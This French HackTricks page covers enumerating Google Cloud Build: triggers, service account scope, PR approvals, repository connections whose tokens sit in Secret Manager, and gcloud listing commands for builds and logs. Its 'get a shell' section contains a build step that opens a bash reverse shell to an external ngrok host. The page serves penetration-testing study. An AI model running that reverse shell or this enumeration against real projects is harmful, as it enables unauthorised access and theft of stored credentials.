GCP - Cloud Build Enum

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Informations de base

Google Cloud Build est une plateforme CI/CD gérée qui automatise la construction de logiciels et les processus de publication, s'intégrant aux dépôts de code source et prenant en charge une large gamme de langages de programmation. Il permet aux développeurs de construire, tester et déployer du code automatiquement tout en offrant la flexibilité de personnaliser les étapes de construction et les flux de travail.

Chaque Déclencheur Cloud Build est lié à un Dépôt Cloud ou connecté directement à un dépôt externe (Github, Bitbucket et Gitlab).

Je n'ai pas trouvé de moyen de voler le jeton Github/Bitbucket à partir d'ici ou des Dépôts Cloud car lorsque le dépôt est téléchargé, il est accédé via une URL https://source.cloud.google.com/ et Github n'est pas accessible par le client.

Événements

Le Cloud Build peut être déclenché si :

  • Pousser vers une branche : Spécifiez la branche

  • Pousser une nouvelle étiquette : Spécifiez l'étiquette

  • Demande de tirage : Spécifiez la branche qui reçoit la PR

  • Invocation manuelle

  • Message Pub/Sub : Spécifiez le sujet

  • Événement de webhook : Exposera une URL HTTPS et la demande doit être authentifiée avec un secret

Exécution

Il y a 3 options :

  • Un yaml/json spécifiant les commandes à exécuter. Généralement : /cloudbuild.yaml

  • Seule option pouvant être spécifiée "en ligne" dans la console web et dans l'interface en ligne de commande

  • Option la plus courante

  • Pertinente pour un accès non authentifié

  • Un Dockerfile à construire

  • Un Buildpack à construire

Autorisations SA

Le Compte de service a la portée cloud-platform, il peut donc utiliser tous les privilèges. Si aucun SA n'est spécifié (comme lors de la soumission), le SA par défaut <num-projet>@cloudbuild.gserviceaccount.com sera utilisé.

Par défaut, aucune autorisation n'est donnée mais il est assez facile d'en donner :

Approbations

Il est possible de configurer un Cloud Build pour exiger des approbations pour les exécutions de construction (désactivé par défaut).

Approbations de PR

Lorsque le déclencheur est une PR car n'importe qui peut effectuer des PR sur des dépôts publics, il serait très dangereux de simplement autoriser l'exécution du déclencheur avec n'importe quelle PR. Par conséquent, par défaut, l'exécution ne sera automatique que pour les propriétaires et les collaborateurs, et pour exécuter le déclencheur avec les PR d'autres utilisateurs, un propriétaire ou un collaborateur doit commenter /gcbrun.

Connexions & Dépôts

Des connexions peuvent être créées via :

  • GitHub : Il affichera une invite OAuth demandant des autorisations pour obtenir un jeton Github qui sera stocké dans le Gestionnaire de secrets.

  • GitHub Enterprise : Il demandera d'installer une GithubApp. Un jeton d'authentification de votre hôte GitHub Enterprise sera créé et stocké dans ce projet en tant que secret du Gestionnaire de secrets.

  • GitLab / Enterprise : Vous devez fournir le jeton d'accès API et le jeton d'accès API de lecture qui seront stockés dans le Gestionnaire de secrets.

Une fois une connexion générée, vous pouvez l'utiliser pour lier des dépôts auxquels le compte Github a accès.

Cette option est disponible via le bouton :

Notez que les dépôts connectés de cette manière ne sont disponibles que dans les Déclencheurs utilisant la 2e génération.

Connecter un Dépôt

Ce n'est pas la même chose qu'une connexion. Cela permet différentes façons d'accéder à un dépôt Github ou Bitbucket mais ne génère pas un objet de connexion, mais génère un objet de dépôt (de 1re génération).

Cette option est disponible via le bouton :

Stockage

Parfois, Cloud Build générera un nouveau stockage pour stocker les fichiers du déclencheur. Cela se produit par exemple dans l'exemple que GCP propose avec :

git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global

Un bucket de stockage appelé security-devbox_cloudbuild est créé pour stocker un fichier .tgz avec les fichiers à utiliser.

Obtenir un shell

steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY

Installez gcloud à l'intérieur de Cloud Build :

# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh

Énumération

Vous pourriez trouver des informations sensibles dans les configurations de construction et les journaux.

# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>

# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs

# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done

# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done

Élévation de privilèges

pageGCP - Cloudbuild Privesc

Accès non authentifié

pageGCP - Cloud Build Unauthenticated Enum

Post-exploitation

pageGCP - Cloud Build Post Exploitation
Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour